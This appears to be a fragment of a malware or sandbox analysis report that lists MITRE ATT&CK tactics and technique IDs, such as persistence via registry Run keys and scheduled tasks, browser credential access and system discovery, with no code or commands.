Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery